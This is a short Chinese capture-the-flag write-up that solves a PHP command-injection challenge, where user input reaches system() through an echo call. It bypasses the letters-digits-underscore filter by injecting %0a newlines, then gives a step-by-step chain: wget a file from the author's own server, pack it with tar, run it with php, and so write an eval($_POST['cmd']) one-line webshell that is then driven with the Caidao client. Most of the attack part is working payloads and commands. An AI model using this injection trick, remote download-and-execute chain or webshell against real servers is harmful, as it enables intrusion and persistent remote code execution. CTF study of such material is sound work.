这道题是我在群里里面看到有老表发,于是自己突发奇想自己来做一下
顺便学习学习~
进入正题
<?php
show_source(__FILE__);
$arge = $_GET['arge'];
for ($i=0;$i<count($arge);$i++){
if (!preg_match('/^\w+$/',$arge[$i]))//只能输入数字字母和下划线
die("error");
}
//print_r($arge);
//echo '<br/>';
//echo "/bin/echo " . implode(" ",$arge);
//echo '<br/>';
system("/bin/echo " . implode(" ",$arge));
?>
很明显,这道题是代码审计。需要利用system函数来执行命令。
但是前面有一个echo命令,如果单纯的执行ls
命令他就会直接输出ls
这里相当于就要绕过echo这个命令
方法一:使用反引号``
但是这个题过滤了特殊符号,只能输入数字字母和下划线。所以失败!
方法二:使用%0a进行换行操作执行命令
我们发现如果不管怎么输入都不会执行命令,那么我们可以直接换行执行命令。
就相当于一行一行的执行
system("/bin/echo $a")
system("ls")
所以我们就使用%0a来表示换行。
%0a: 由于在字符串中换行(%0a)可以表示字符窜的结尾
我们发现当我们输入?arge[]=ls&arge[]=1
查看源代码发现确实 ls 和 1 在一排不能执行命令
而使用%0a换行进行操作就会执行命令
输入?arge[]=ls%0a&arge[]=whoami
发现换行了并且执行了命令
之后就可以执行命令了
如果flag是在flag.php里面则直接执行命令是没法获得flag的。
我们就通过wget命令下载一个包含执行PHP代码的index.html文件
然后用tar命令进行备份成webshell,之后在执行PHP webshell生成一句话木马。
1.mkdir test
2.cd test
3.wget ip(转换成10进制)
需要在自己服务器上面发一个index.php
<?php
$myfile=fopen("nice.php","w") or die("unable!");
$txt='<?php eval($_POST['cmd']);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
4.tar cvf webshell test
(将test里面的文件备份到webshell里面)
5.php webshell
(执行PHP代码,之后会生成一个nice.php的一句话木马)
6.连接菜刀查看flag
参考https://blog.csdn.net/qq_20817327/article/details/77720823?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param